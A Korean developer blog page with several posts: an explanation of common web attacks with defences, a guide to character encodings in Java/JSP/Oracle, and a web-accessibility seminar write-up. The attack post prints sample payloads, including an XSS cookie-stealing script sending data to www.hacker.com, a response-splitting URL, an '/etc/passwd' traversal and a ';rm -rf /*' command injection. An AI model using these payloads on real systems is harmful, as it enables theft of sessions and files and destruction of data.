result = Query("select count(*) from User" + "where id="  + strID+ "password =" + strPassword);
if(result == 1)
{
echo "로그인 성공";
}
[HTML]
<input type="text" name="id">
<input type="text" name="password">

예를 들어 위와 같이 로그인 하는 코드에서 사용자의 입력을 여과 없이 그대로 받아 들인다고 가정합니다. 이 때 name에 getroot'-- 를 입력한다면 어떤 결과가 발생할까요? 쿼리는 SELECT count(*) from USER where id=getroot'-- password = 과 같이 입력될 것입니다. '--는 sql문에서 주석에 해당하기 때문에 id=getroot 까지만 쿼리문으로 인식되어 패스워드의 입력에 상관없이 무조건 getroot로 로그인되는 것입니다. SQL Injection은 이제 서버사이드의 언어 자체에서 거르는 기능을 통해 크게 발생하고 있지는 않지만, 방어를 우회할 수 있는 많은 응용 방법이 나오고 있고, 아직까지 가장 광범위하게 사용되고 있는 공격 방식입니다. 이를 방어하기 위해서는 HTML로 부터 입력을 받을 때 특수 문자나 여러가지 상황을 고려해 방어하거나, 입력받는 문자를 스트링으로 강제 변환하여 받는 방법 등으로 해결해야 할 것 입니다.

2.2. Cross-site Scripting

Cross-site Scripting은 말 그대로 사이트를 넘어 스크립트를 실행하는 공격을 말합니다. 웹서버를 공격하는 방식이 아닌 사이트를 통해 다른 사용자를 공격하는 것 입니다. 게시판과 같이 동적으로 생성되는 Page에 조작된 코드를 넣어서 다른 사용자에게 공격자가 원하는 코드를 실행하게 하며, 이를 통해 다른 사용자의 쿠기를 자신의 메일로 전송하게 하거나, 다른 사용자에게 악성 코드를 설치하는 등 여러가지 공격을 수행합니다. 몇년 전 한 해커가 리니지 게임의 아이디와 패스워드를 빼내기 위해 리니지 커뮤니티에 악성 코드를 올려놓고, 감염된 사용자의 아이디와 패스워드를 대량으로 빼내가서 사회적으로 큰 이슈가 되었던적이 있었습니다. 그리고 윈도우에서 그래픽 파일을 처리하는 과정에서 발생하는 Buffer overflow를 이용하여 웹에 조작된 그림 파일을 올려놓고, 다른 사용자가 그 그림을 보는 것 만으로도 악성코드가 PC에 설치되게 했던 공격도 있었습니다. 싸이월드의 방문자 추적 시스템도 이와 같은 공격 방식으로 이루어 지는 것이다. Cross-site Scripting은 근복적인 해결책이 없는 공격 방식으로서 굉장히 유의하지 않으면 막기가 힘든 방법입니다.

<script>
String strCookie = Document.GetCookie();
Redirect(http://www.hacker.com/SaveCookie?Data=strCookie);
</script>

이 공격 방식의 예로는 위의 박스와 같은 코드를 자바 스크립트가 동작하는 페이지에 삽입하여, 다른 사용자의 쿠키를 자신의 서버에 저장하는 방식이 있을 수 있습니다. 이와 같은 버그는 예전 대형 포탈 사이트에서도 동작하여 사용자의 많은 정보가 유출되기도 했었습니다.

2.3. HTTP Response Splitting

HTTP Response Splitting 공격은 웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 가지고 있다면 응답 메시지를 조작하여 Proxy 서버를 공격자의 의도대로 조작할 수 있는 공격 방식입니다. 공격받은 Proxy 서버를 사용하는 모든 사용자는 조작된 페이지를 보게 될 수 있습니다.

[JSP]
response.sendRedirect("/by_lang.jsp?lang="+request.getParameter("lang"));

만약 JSP에서 위와 같은 코드를 사용한다면 공격자가 다음과 같은 코드를 보내서 프록시에게 응답 패킷이 두개라고 착각하게 만들 수 있습니다.

[공격 코드]
HTTP://victim.com/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a0d%0a<html>Getroot</html>

http://victim.com//index.html

서버사이드에서는 공격 코드에 있는 인자를 그대로 받아서 처리하기 때문에 foobar 이후의 코드를 그대로 응답에 사용하게 될 것입니다. 이 때 공격자가 http://victim.com/index.html을 빠르게 요청하면 프록시 서버에서는 다음과 같이 응답이 온것으로 착각하게 됩니다.

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http:// victim.com /by_lang.jsp?lang=foobar

Content-Length: 0


<index.html 에 매칭>

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<html>Getroot</html>

따라서 해당 프록시를 사용하는 사용자는 http://victim.com/index.html 에 접근할 때 마다 Getroot 라는 조작된 페이지를 보게 될 것 입니다. 매우 많은 사용자가 사용하는 프록시 서버라면 Cross-site scripting과 결합하여 모든 URL로부터 악성코드가 감염되도록 조작할 수 있을 것입니다.

2.4. Path Traversal
Path Traversal은 웹 페이지에서 전달 받은 인자를 그대로 Path로 사용할 때, 해당 값을 조작하여 원하는 파일에 접근할 수 있게 되는 방식입니다.

[정상적인 URL]

http://www.victim.com/OpenFile.jsp?text.txt


[공격]

http://www.victim.com/OpenFile.jsp?../../etc/passwd


정상적인 URL에서는 text.txt 와 같이 정상적인 파일에 접근하는 것으로 사용하지만, 공격자가 ../../을 사용하므로서 다른 시스템의 오픈되지 않은 다른 디렉토리에 접근할 수 있는 여지가 발생하는 것입니다. 이런 공격을 방어하기 위해서는 사용자의 입력을 그대로 시스템에서 사용하지 말아야 합니다. 이 공격 방식은 현재 거의 대부분 통하지 않겠지만 이를 응용한 다른 방식이 많이 통하고 있다는 것 꼭 명심하고, 사용자의 입력을 시스템에서 그대로 사용하는 것을 최대한 방지해야 합니다.

2.5. Commnad Injection
Commnad Injection은 웹 어플리케이션에서 사용자의 입력을 직접적인 Shell 명령으로 이용할 때 이를 조작하여 원하는 명령을 실행할 수 있는 공격 방식입니다.

[ListFile.php]
Passthru(ls $path);

위와 같이 사용자에게 path라는 인자를 받아서 이를 ls 에 사용하여 원하는 디렉토리의 파일 목록을 보여주는 코드가 있다고 가정하겠습니다. 프로그래머는 당연히 ls 명령이므로 보안상 문제가 없을것이라고 예상하겠지만 다음과 같은 입력을 하여 시스템에 모든 명령을 내릴 수 있습니다.

[공격]
http://www.victim.com/ListFile.php?paht="/etc/;rm -rf /*"

명령어와 명령어 사이에 ; 를 입력하면 두가지 명령어가 순차적으로 수행되는 쉘 기능이 있기 때문에 위 공격 코드는 ls /etc와 rm -rf /* 명령어 두개가 동시에 수행되는 것입니다. 이것은 매우 심각한 보안 문제를 일으킵니다. 이 문제를 해결하기 위해서는 사용자의 입력을 그대로 쉘 명령으로 수행하면 안됩니다. 쿼리문도 마찮가지이고, 어떤 상황에서도 모든 사용자의 입력은 한번 가공해서 처리해야 한다. 

이로서 거의 대부분의 웹 해킹 방식의 원리를 정리하였습니다. 그대로 사용하면 현재는 거의 통하지 않는 공격 방식이지만(실수가 많은 사이트는 아직도 많은 버그가 발견되곤 합니다.) 최신 해킹 기법도 이 틀에서 벗어나지 않고, 응용 수준에서 이루어 지기 때문에 이 원리만 파악하고 방어를 철저히 해놓아도 공격에 쉽게 노출되지 않을 것입니다.

감사합니다.





출처 : http://getroot.tistory.com
Posted by 1010
90.개발관련문서2009. 7. 21. 09:18
반응형

OWASP 10가지 웹 취약성에 대한 한글문서입니다.

출처: 네이버 시큐리티플러스
Posted by 1010
90.개발관련문서2009. 7. 14. 10:44
반응형
Posted by 1010
90.개발관련문서2009. 7. 3. 12:41
반응형

문자셋과 인코딩의 정의

  • 문자셋 (charset, Character Set)
하나의 언어권에서 사용하는 언어를 표현하기 위한 모든 문자(활자)의 모임을 문자셋(charater set)이라고 한다. 다시 말하면 우리가 얘기하는 언어를 책으로 출판할 때 필요한 문자(활자)를 모두 모은 것이라고 생각하면 된다. 추가적으로 부호와 공백 등과 같은 특수 문자도 문자셋에 포함된다.
영어의 경우 알파벳 대소문자와 특수 문자 등으로 간단하게 문자셋을 구성할 수 있지만 한글의 경우 출판에서 가,나,다 등으로 출판함으로 훨씬 다양한 문자셋을 가지고, 또한 한자를 병행해서 사용함으로 문자셋의 범위는 더욱 넓어진다.
  • 추상적인 글자 셋은 여러 개의 인코딩을 가질 수 있다.
  • MIME 문자셋은 IANA에서 정의하며 인터넷 및 XML 파일에서 사용한다.
  • 인코딩 (encoding)
인코딩은 문자셋을 컴퓨터가 이해할 수 있는 바이트와 매핑하는 규칙이다. 예를 들면 ASCII Code에서 A,B,C 등은 문자셋이고 A는 코드 65, B는 코드 66 등 바이트 순서와 매핑한 것이 인코딩이다. 따라서 문자셋을 어떻게 매핑하느냐에 따라 하나의 문자셋이 다양한 인코딩을 가질 수 있다.
  • 추상적인 문자셋을 구체적인 bit-stream으로 표기하는 방법
  • 여러가지 문자셋을 동시에 표시할 수 있다.
  • 대부분의 인코딩에서는 대소문자를 구분하지 않는다.
  • 대한민국 문자셋(charater set)에서 가장 많이 사용하는 인코딩은 "UTF-8", "KSC5601", "ISO-8859-1" 이다.
  • 문자셋(인코딩)의 예
  • 한글 : 8bit KSC5601 (8bit EUC-KR, 7bit ISO-2022-KR, ISO-2022-Int)
  • 영문 : KSC5636, US-ASCII (둘 간의 차이는 화페 단위 뿐)
  • 한글+영문 : KSC5861 (EUC-KR), KSC5636 + KSC5601를 모두 포함한다.
  • 유니코드 : 4byte Unicode < ISO-10646 UCS (ISO-8859-1, UTF-8, UTF-16)

문자셋과 인코딩은 동일한 명칭을 가질 수 있어 서로 혼용하여 사용되는 경우가 많다.
EUC-KR은 원래 유닉스용 표준이었는데 인터넷으로 확장되어 사용된다.
KSC5601은 인터넷에서 원활한 한글(완성형) 사용을 위하여 정의된 표준이다.
EUC (Extended UNIX Code), UTF (UCS Transformation format)

기본 인코딩

  • Windows : 시스템 언어와 관련된 코드 페이지를 따름
    • 영문 Windows는 CP1252 인코딩을 사용
    • 한글 Windows는 MS949 인코딩을 사용
  • Unix : LANG 환경 변수로 지정된 로케일에 해당하는 인코딩
    • Solaris는 LANG 환경 변수가 ko, ko_KR일 경우 EUC-KR 인코딩을 사용
    • HP는 LANG 환경 변수가 ko_KR, ko_KR.eucKR일 경우 EUC-KR 인코딩을 사용
    • Unix에서 locale -a 명령을 사용하여 LANG 환경 변수에 지정 가능한 문자셋을 확인할 수 있다.
  • HTML : ISO-8859-1와 ISO-10646
  • XML : UTF-8
  • 웹 브라우져 : 내부적으로 모두 유니코드로 처리를 한다.
  • HTTP/1.0 : ISO-8859-1
  • HTTP (URL,URI) : US-ASCII, %hexadecimal_code, JavaScript escape() 함수 사용
  • Java : 유니코드 2.0
  • 직렬화된 Java Class : UTF-8
  • J2EE : ISO-8859-1
  • Oracle : UTF-8 (AL32UTF8), 한국에서는 KSC5601 (KO16KSC5601)




다양한 환경에서 인코딩 설정

웹 브라우져 설정

  1. "도구 -> 인터넷 옵션 -> 언어" 메뉴를 선택한다.
  2. 영어[en]와 한국어[ko]를 추가하고 원하는 언어를 가장 상단에 위치한다.

JVM 설정

  • 일반적으로 LANG 환경 변수를 설정해 주면 자동으로 설정이 된다.
locale -a                               Solaria unix 명령어로 지원 가능한 encoding을 확인한다.
env LANG ko csh에서 Encoding을 설정한다. (KSC5601, EUC-KR)
LANG=ko ksh에서 Encoding을 설정한다. (KSC5601, EUC-KR)
  • JVM 옵션 설정 (UTF-8, ISO-8859-1, KSC5601)
-Dfile.encoding=8859_1                  필수 항목
-Dfile.client.encoding=8859_1
-Dclient.encoding.override=8859_1 JVM 버전에 따라 (사용안함)
  • JSP를 사용하여 JVM 옵션 확인 (encoding.jsp)
file.encoding = <%= System.getProperty("file.encoding") %><br>
file.client.encoding = <%= System.getProperty("file.client.encoding") %><br>
client.encoding.override = <%= System.getProperty("client.encoding.override") %><br>

HTML 설정

HTML 파일을 UTF-8로 만들어 저장한다.

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

XML 설정

XML 파일을 UTF-8로 만들어 저장한다.

<?xml version="1.0" encoding="UTF-8" ?>

JSP 설정

JSP 파일을 UTF-8로 만들어 저장한다.

<%@ page pageEncoding="UTF-8" %>
<%@ page contentType="text/html;charset=UTF-8" %>

Servlet 설정

HTTP 요청의 인코딩 지정

request.setCharacterEncoding("UTF-8");

HTTP 응답의 인코딩 지정

response.setContentType("text/html; charset=UTF-8");

web.xml 설정

<mime-mapping>
<extension>html</extension>
<mime-type>text/html;charset=UTF-8</mime-type>
</mime-mapping>

Default Oracle Database 문자셋

  • Default Oracle Database 문자셋 : UTF-8 (AL32UTF8), 한국에서는 KSC5601 (KO16KSC5601)
  • AL32UTF8, KO16KSC5601 (KSC5601), WE8ISO8859P1 (8859_1)
  • Default Oracle Database 문자셋 확인 방법
sqlplus system/manager

select parameter || ' : ' || value parameter_value
from NLS_DATABASE_PARAMETERS
where parameter = 'NLS_CHARACTERSET'
or parameter = 'NLS_NCHAR_CHARACTERSET';

select name || ' : ' || substr(value$, 1, 40) parameter_value
from sys.props$
where name = 'NLS_CHARACTERSET';

select parameter || ' : ' || value parameter_value
from NLS_INSTANCE_PARAMETERS, V$NLS_PARAMETERS, NLS_SESSION_PARAMETERS;
  • Oracle Database 문자셋 변경 방법
환경 변수 또는 %ORACLE_HOME%/dbs/init[SID].ora 을 설정한다.
NLS_LANG='American_America.Ko16ksc5601'
ORA_NLS33='$ORACLE_HOME/ocommon/nls/admin/data'
NLS_DATE_FORMAT='YYYY-MM-DD'
  • DriverManager에서 문자셋 설정 방법
java.util.Properties props = new java.util.Properties();
props.put("charSet", "KSC5601" );
DriverManager.getConnection(dbUrl, props);
Posted by 1010
90.개발관련문서2009. 6. 27. 15:48
반응형
Posted by 1010
90.개발관련문서2009. 6. 27. 01:45
반응형


지난 7일 행정안전부가 주최하고 한국정보문화진흥원이 주관한 2009년 상반기 웹 접근성 기술동향 및 향상방안 세미나가 있었습니다. 이날 부족한 제게도 기회가 주어져 발표를 할 있었고, 오늘 정보통신 접근성 향상 표준화 포럼을 통해서 발표 자료(PDF)가 공개되었습니다.

사실 이번 발표를 위해서 나름 준비를 열심히 했는데 막상 너무 큰 자리에 서다 보니 반쯤 얼어서 제대로 전달하려고 했던 내용의 반도 전달해 드리지 못한 것 같아 혼자 많이 속상해 했었습니다. 단상에서 내려오고 나니 빠뜨린 내용이 적지 않더군요. 그래서 발표용으로 작성했던 메모를 정리해서 이렇게 글로써 다시 '발표'를 하려고 합니다.


웹 개발자가 알아야할 웹 접근성이라는 주제를 받고, 한참을 고민했습니다. 지난 몇년간 있어온 여러번의 세미나를 통해서 몇번이고 반복되었던 내용들의 반복이 되고 싶지는 않았습니다.(결국은 그렇게 되었지만) 그래서 나름 고민을 거듭해서 3가지 수칙을 정하고, 그에 따라 내용을 붙여 보게 되었습니다. 첫번째 수칙은 ‘항상 공부하라’입니다. 우리가 필요로 하는 정보들이 어디에 있고, 어떻게 찾아 보면 좋을지를 알려드립니다. 두번째 수칙은 ‘습관을 버려라’입니다. 과거로부터 이어진 좋지 않은 개발 관행의 4가지 사례를 살펴보도록 하겠고, 세번째 수칙 ‘사람을 믿고, 기계를 의심하라’에서는 함께 일 하는 동료들과 에디터, 시스템 등 작업 환경에 대한 이야기를 하고자 합니다.

다음은 순서입니다:
  • 수칙 1. 항상 공부하라
    • 1.1 웹 표준 기술을 제대로 알고, 가까운 곳에 스펙을 둬라
    • 1.2 새로운 정보와 이슈를 놓치지 말라
  • 수칙 2. 습관을 버려라
  • 수칙 3. 사람을 믿고, 기계를 의심하라
    • 3.1 동료를 믿어라
    • 3.2 기계를 의심하라



수칙 1. 항상 공부하라

1.1 웹 표준 기술을 제대로 알고, 가까운 곳에 스펙을 둬라

제가 생각할 때 웹 개발자에게 있어서 웹 접근성 향상을 위해서 가장 중요한 것은 웹 표준 기술을 가장 잘 이해하고 사용하는 것입니다. 따라서 첫번째 수칙으로 ‘항상 공부하라’고 했습니다. 그리고 수칙 1-1로 ‘웹 표준 기술을 제대로 알고, 항상 가까운 곳에 스펙을 둬라’고 정해 보았습니다.

어떤 분들은 기억력이 좋으셔서 한 두번 본 내용을 곧 기억해 내십니다. 하지만 저는 그게 참 안되었습니다. 그래서 제 책상 위에는 W3C의 온갖 스펙이 출력되어 있고, 책 제본을 쌓여 있습니다. 그냥 아무렇게나 출력해 놓은 것들은 처음 한 번 이후에는 잘 보지 않게 되기도 하고, 쉽게 이면지함으로 들어가죠. 하지만 회사에 제본기가 한 대 있어서 스펙들을 한데 묶어 책으로 만들어 두시면 보기가 편할 뿐더러 보관에도 좋습니다. 그리고 브라우저의 즐겨찾기는 당연하겠죠. 의외로 많은 분들이 스펙과 관련된 궁금증을 풀기 위해서 커뮤니티 게시판을 이용합니다. 가장 먼저 스펙을 찾아보는 습관을 갖는 것이 좋습니다. 다음은 웹개발자들에게 필요한 주요 북마크입니다.
W3C에 권고안으로 공개된 표준 스펙 문서들과 MS, Mozilla, Opera가 운영하고 있는 레퍼런스 사이트들입니다. 실제로 찾아보시면 이보다 훨씬 더 많은 스펙 문서들과 레퍼런스 사이트들이 있습니다. 제 블로그를 통해서도 소개드린 것들이 있고, 정찬명님의 나라디자인 위키 페이지에서 UI개발자들을 위한 북마크를 운영하고 계시기도 합니다. 웹 개발자 분들께 유용한 자료가 될 것으로 생각됩니다.


1.2 새로운 정보와 이슈를 놓치지 말라

수칙 1.2는 '새로운 정보와 이슈를 놓치지 말라'입니다. 개발 분야 만큼 빠르게 새로운 정보와 이슈가 쏟아지는 분야도 드믈 것이라고 생각됩니다. 겨우 하나의 언어와 기술을 익혔는데 어느새 또 다른 언어가 나오고 방법론이 제시됩니다. 특히 웹이 대중화된 이후는 그 속도가 더욱 더 빨라지고 있는 추세입니다. 그런 빠름을 쫓아가지 못한다면 계속해서 뒤쳐질 밖에 없는 것이 또한 이 분야인 것 같습니다.


RSS는 여러 사이트의 새로운 글을 아주 쉽게 읽을 수 있도록 도와줍니다. 구글 리더와 같은 피드 구독기를 적극 활용하면 수 많은 블로그와 홈페이지의 최신 정보를 쉽게 얻을 수 있습니다. 파이어폭스와 같은 최신의 브라우저는 아주 쉽게 피드를 구독할 수 있도록 기능을 지원하고 있기도 합니다. 다른 하나는 Delicious와 같은 SNS기반의 북마크 서비스를 이용하는 것입니다. HTML, CSS, Web Standards 등 관련 태그를 통해서 다른 사람들이 북마크한 유용한 정보와 사이트들을 쉽게 찾아볼 수 있습니다.


수칙 2. 습관을 버려라

세살 버릇 여든까지 간다고 합니다. 한번 몸에 벤 습관이 그만큼 무섭다는 뜻입니다. 초중고와 대학을 지나면서 그리고 사회 초년생일 때- 처음 개발을 배우고 이 바닥에 발을 들이기 시작해서 처음 만났던 사수로부터 배웠던 기술들. 아무것도 몰랐던 우리는 습자지처럼 새로운 기술들을 받아 들이고 배워왔습니다. 하지만 알게 모르게 잘못된 정보와 기술을 가려 내지 못하고 무분별하게 배워왔다는 사실입니다. 책이라고 해서 다르지 않습니다. 외서의 경우 오역되거나 잘못된 의미를 전달하기도 하고, 바람직하지 않은 기술을 권장하는 듯 써 놓은 것을 그대로 믿어버린 경우가 부지기수입니다.

때문에 웹 접근성과 웹 표준을 대하는 개발자에게 있어서 가장 큰 충격은 자신의 지식에 대한 확신의 흔들림입니다. 뒤에 간단한 설문 조사 결과를 통해서도 말씀 드리겠지만 자신이 알고 있는 표준에 대한 지식이 과연 옳은 것이었는가? 하는 의심을 가질 필요가 있습니다. 그래서 두번째 수칙은 ‘관성을 버려라’ 그리고 ‘항상 현재의 방법이 최선인지를 의심하라’라고 하였습니다.

그럼 웹 개발자들이 일반적으로 잘못 알고 있었던 사례들은 어떤 것들이 있는지 살펴보겠습니다.

습관 하나. 비동기 통신은 Frame으로 구현해야 하나?

첫번째 사례는 비동기 통신을 사용하기 위해서 프레임을 사용하는 경우입니다. 최근에는 Ajax를 이용한 개발이 붐을 일고 있기는 하지만 여전히 Frameset을 설정하여 무의미한 frame을 만들어 놓고, 비동기 통신을 구현하고자 하는 개발자들이 있었습니다. 조금 더 자세히 살펴보겠습니다.

Frame 요소는 Netscape 2.0에서 최초 지원된 후 Hidden Frame, DHTML로 차차 발전해 나간다

Frame 기술의 발전하다가 Ajax에게 그 자리를 내주고 있다.


Frame은 Netscape 2.0(1996)에서 최초로 지원되었고, HTML 4.0(1997)에 이르러 공식적으로 도입되었습니다. Hidden Frame 기술은 Frameset을 설정하여 하나의 Frame의 높이를 ‘0’로 만들어 서버와의 통신을 처리하는데 사용한 최초의 비동기 요청/응답 모델이었습니다. 이후 마이크로소프트사가 자바스크립트를 이용하여 동적으로 페이지의 일부를 수정할 수 있는 기술인 DHTML을 만듭니다. Hidden Frame 기술은 이 DHTML을 만나 페이지의 어느 부분이라도 서버 정보를 가지고 언제든지 새로고침할 수 있도록 해 주었습니다. 하지만 Hidden Frame 기술은 반드시 프레임셋을 설정해야만 한다는 단점이 있었는데, iframe  엘리먼트가 HTML 4.0에 포함되면서 Inline Frame 기술을 사용할 수 있게 됩니다. 이후 CSS와 결합하여 Hidden Inline Frame 기술로 발전되어 사용되기 시작합니다. 하지만 더이상 Frame을 사용하여 웹사이트의 구조를 분리할 필요성(퍼포먼스 향상을 위해)도 없으며, 비동기 통신을 위해서라면 이미 Ajax와 같은 기술이 그 자리를 대체해 나가고 있다. 그럼에도 이같은 frame의 발전은 많은 웹개발자들이 Frame기술을 이용한 잘못된 습관을 가지게 만드는데 일조를 하게 됩니다. 다음의 마크업을 보겠습니다.

<frameset rows="*,0" frameborder="0" border="0" border="0">
    <frame src="main.html" name="main" scrolling= "auto">
    <frame src="blank.html" name="hidden" scrolling= "auto" >
</frameset>

경력이 적은 분들이라 하더라도 이와 같은 마크업을 한 두번쯤은 보셨을 것으로 생각됩니다. 이같은 프레임셋을 설정하는 이유에는 지금 설명드린 비동기 통신을 구현하기 위한 목적 외에도 도메인을 깔끔하게 유지하고자 하는 목적도 있습니다. 하지만 두 가지 이유 모두 접근성 측면에서 바람직하지 않습니다. 바로 이어서 설명드리겠습니다.

습관 둘. 고정 URL은 보안이 좋다?

과거에는 URL을 통한 해킹 공격이 이루어졌던 사례들이 있었습니다. Query Injection이라고도 하는 이 해킹 방법(SQL Injection이 더 정확한 표현이라고 합니다)은 이와 같이 URL이나 사용자 서식 요소의 필드를 통해서 특정 SQL Query를 입력함으로써 웹사이트 가입자의 비밀번호나 주민등록번호와 같은 정보를 노출시키는 방법입니다. 또한, 꼭 Query Injection 이 아니더라도 간단히 도메인 뒤에 따라 붙는 Query String의 값을 조작하는 것만으로도 웹사이트에 비정상적인 동작을 요청할 수 있습니다. 이 때문에 많은 사람들이 URL에 Query String을 보이지 않도록 눈속임을 했었습니다. 거기에 마우스 우클릭을 막아 컨텍스트 메뉴가 뜨지 않게까지 했습니다. 이렇게 하면 사용자가 임의로 웹 페이지의 전체 URL을 알 수 없을 것이라고 생각했던 것이지요.

네이버

네이버와 같은 포털의 URL은 숨겨져 있지 않다


하지만 어느 사이트보다도 보안이 생명인 검색 사이트나 포털 사이트 어느 곳도 전체 주소를 감추거나 하지 않습니다. URL을 감추고, 컨텍스트 메뉴를 무력화 시키는 것이 결코 해커의 공격을 막는 방법이 되지 않는다는 것입니다.

그럼 이러한 프레임셋 구조가 웹접근성 측면에서는 어떨까요?

프레임셋을 사용하게 되면 일단, 개별 웹 페이지의 고유 주소를 상실하기 때문에 고유성이 상실됩니다. 이것은 결국 정보와 위치의 불일치를 가져오게 됩니다. 즉, 절대 주소가 공개되지 않은 경우 사용자는 찾고자 하는 정보를 다시 얻기 위해서 웹 사이트의 초기 페이지부터 탐색을 반복해야 하는 번거로움을 가지게 됩니다. 이는 파리를 여행하는 사람에게 세계 지도를 던져 주며 에펠탑을 찾아 가 보라는 것과 다를게 없습니다.

같은 URL을 가진 서로 다른 페이지

같은 URL을 가진 서로 다른 페이지


국가정보원 웹사이트입니다. 홈페이지와 관계규정 내용을 담고 있는 페이지의 URL이 www.kecs.go.kr로 동일함을 수 있습니다. 관련 내용을 인용하기 위해서 URL이 필요한 경우에도, 다른 사람에게 해당 페이지의 내용을 소개하고 싶을 때에도 또같은 URL을 사용해야 합니다. 심지어 자신이 북마크를 해 놓고 다시 열고 싶을 때에도 국정원 사이트의 홈페이지부터 재 탐색을 해야합니다. 이것은 일반인에게도 매우 불편합니다.

그럼에도 불구하고 Frame을 사용해야 한다면 다음을 기억하십시오:
  • DTD(HTML 4.01 Frameset 또는, XHTML 1.0 Frameset)의 명확한 정의
  • title 속성을 이용한 정확한 이름을 부여
  • 최소 사용

습관 셋. alt? title? 그런거 없어도 아무 문제 없더라

alt는 툴팁이 아닙니다

alt는 툴팁이 아닙니다

다음으로 소개드릴 것은 대체 텍스트와 제목에 관해서입니다. alt 속성은 이미지의 텍스트로 대체하기 위한 속성입니다. 시각 장애가 있는 사람은 이미지의 내용을 파악할 수 없기 때문에 alt 속성의 내용으로 대신 인지합니다. 또한, 검색 엔진 역시 인간과 같이 시각 정보를 가질 수 없기 때문에 alt 속성을 통해서 정보를 수집합니다. 그런데 IE는 alt 속성을 풍선 도움말(툴팁)로 처리해서 보여주는 기능을 하고 있습니다. 일반인들이 뜬 눈으로도 이미지의 내용을 파악하지 못한다고 생각해서였을까요?

title 속성 역시 alt 처럼 스크린리더를 통해서 음성 정보를 지원하고, 일부 엘리먼트를 제외한 거의 모든 엘리먼트의 제목으로 사용될 수 있습니다. 특히 frame 엘리먼트와 label 엘리먼트를 함께 쓸 수 없는 서식 요소의 제목으로사용되면 접근성을 높일 수 있습니다. 하지만 alt와 title 속성을 처리하는데 있어서 스크린리더마다 방식이 다를 수 있기 때문에 이에 대한 사전 조사와 테스트가 필요합니다.

미투데이 스타일시트 목록

미투데이는 다양한 스타일시트를 포함하고 있고, title을 부여하고 있다.


미투데이 사이트는 여러개의 테마 스타일시트를 포함하고 있습니다. 개별 스타일시트를 연결하는 link 엘리먼트에는 해당 스타일시트의 제목이 title로 정의되어 있음을 볼 수 있습니다.

alt 속성을 잘 못 처리한 Doday

Doday는 alt 속성을 잘못 처리하고 있다


반면에, 비교적 웹 표준을 잘 준수한 Doday 서비스의 경우 메인 페이지 ‘요즘 이야기’부분에서 사용자 프로필 이미지들에 대한 alt 값이 모두 ‘님의 프로필 이미지’로 똑같습니다. 사용자 아이디를 넣어줘야 하는 부분에서 개발자가 실수로 빠뜨리지 않았나 싶습니다. 결과적으로 시각 장애인 및 검색 엔진은 서로 다른 이미지들을 모두 똑같은 의미의 이미지로 파악할 우려가 있습니다. (4월 7일 오전 저의 버그 신고로 인해 바로 수정되었습니다.)

alt와 title을 이야기하면서 항상 빠지지 않는 것이 언제 alt를 쓰고, 언제 title을 써야 하는지에 대한 문제입니다. 이 문제는 네이버 카페 ‘하드코딩을 하는 사람들’이나CSS Design Korea’에서의 논의'한국 모질라 커뮤니티'에서 논의가 이루어졌었고, 일모리님의 블로그에 잘 설명되어 있습니다. 참고해 주시기 바랍니다.

대체 텍스트를 사용하기에 앞서 다음과 같은 고민이 있을 수 있습니다.  첫째, 의미를 가진 이미지인가 꾸밈용 이미지인가 하는 것입니다. 단지 꾸밈용이라면 불필요한 대첵 텍스트가 오히려 접근성과 사용성을 떨어 뜨릴 수 있습니다. 둘째, 이미지 자체를 대체하는 것인지 아닌지를 판단하여 alt를 사용할지 title을 사용할지 적절히 판단할 수 있어야 합니다. 셋째, 대체 텍스트의 길이가 긴 경우 longdesc 속성을 이용하거나, IR기법 등 다른 방법을 고민할 있어야 합니다.


습관 넷. Label? 개발자는 다 안다고?

웹 개발자들이 자주 간과하고 있는 것 들 또다른 하나가 바로 label 요소입니다. label요소는 input과 같은 사용자 서식 요소에 대한 정보를 첨부하며 연관을 맺습니다. 주로 서식 요소의 제목 요소로 적용되고 있으며, 서식요소와 1:1로 관계를 갖습니다. 이같은 마크업은 서식 요소에 대한 접근성을 높여줍니다. 다음은 label을 적용하는 방법입니다.

명시적 선언
<label for="userId">아이디</label>
<input type="text" id="userId" />

암시(묵)적 선언
<label>비밀번호
<input type="text" id="userPw" />
</label>

Title 선언
<input type="text" id="phoneHead" title= "전화 앞자리" />
<input type="text" id="phoneBody" title= "전화 뒷자리" />

label을 마크업하는 방법에는 명시적 선언과 암시적 선언 두가지가 있습니다. 1:1로 대응되는 서식 요소에 대해서 id와 for 속성을 통해서 연결하는 방법이 명시적 선언이며, 서식 요소를 label 엘리먼트로 감싸는 것이 암시적 선언입니다. 암시적 선언인 경우에 label엘리먼트의 for 속성은 생략이 가능합니다. 하지만 전화번호와 주민등록번호와 같이 동일한 의미를 갖는 서식요소가 이상의 필드로 구성된 경우 label 엘리먼트와 1:1로 대응시키는 것이 비효율적인 경우가 있습니다. 이런 경우 각 서식요소에 title 속성을 이용해서 제목을 달아 주는 것이 좋습니다.

하지만 이렇게 의미적으로 하나의 정보를 위해서 이상의 필드로 구성하는 것은 사용성 입장에서도 별로 바람직하지 않은것 같습니다. 필드를 채우고 Tab키를 눌러서 이동해야 하는 번거로움을 차치하더라도, 필드가 채워지면 자동으로 다은 필드로 이동하는 기능의 경우에는 시각 장애인에게는 접근성을 저해하는 요소가 된다는 사실을 알아두실 필요가 있을 것 같습니다. 하나의 필드로 구성하여 자바스크립트와 서버 개발을 통해서 얼마든지 유효성 검증과 데이터 처리를 할 수 있을 것입니다.

네번째로 말씀 드릴 내용은 form 엘리먼트 처리에 관한 것으로, 자바스크립트를 이용해서 서식 요소의 값을 서버에 전달하는 경우 자바스크립트가 지원되지 않는 환경에서 ‘전달’ 자체가 이루어지지 않는 문제가 있습니다.  따라서 서식 요소의 데이터를 서버에 넘기는 작업은 form 엘리먼트의 본래 기능을 그대로 이용하는 것이 좋습니다. 실생활에서의 배달과 전달을 UPS와 같은 전문 전송 업체에게 맡기듯 서식 요소의 데이터는 form에게 믿고 맡기는 것이 좋습니다.

더불어 서식 요소에 대한 유효성 검증을 자바스크립트로만 처리하는 경우가 종종 있습니다. 이 역시 바람직하지 않은 것으로, 반드시 클라이언트와 서버 양쪽 모두에서 유효성 검증에 대한 처리를 해 주어야 사용자의 실수로 인한 문제를 막을 수 있습니다.

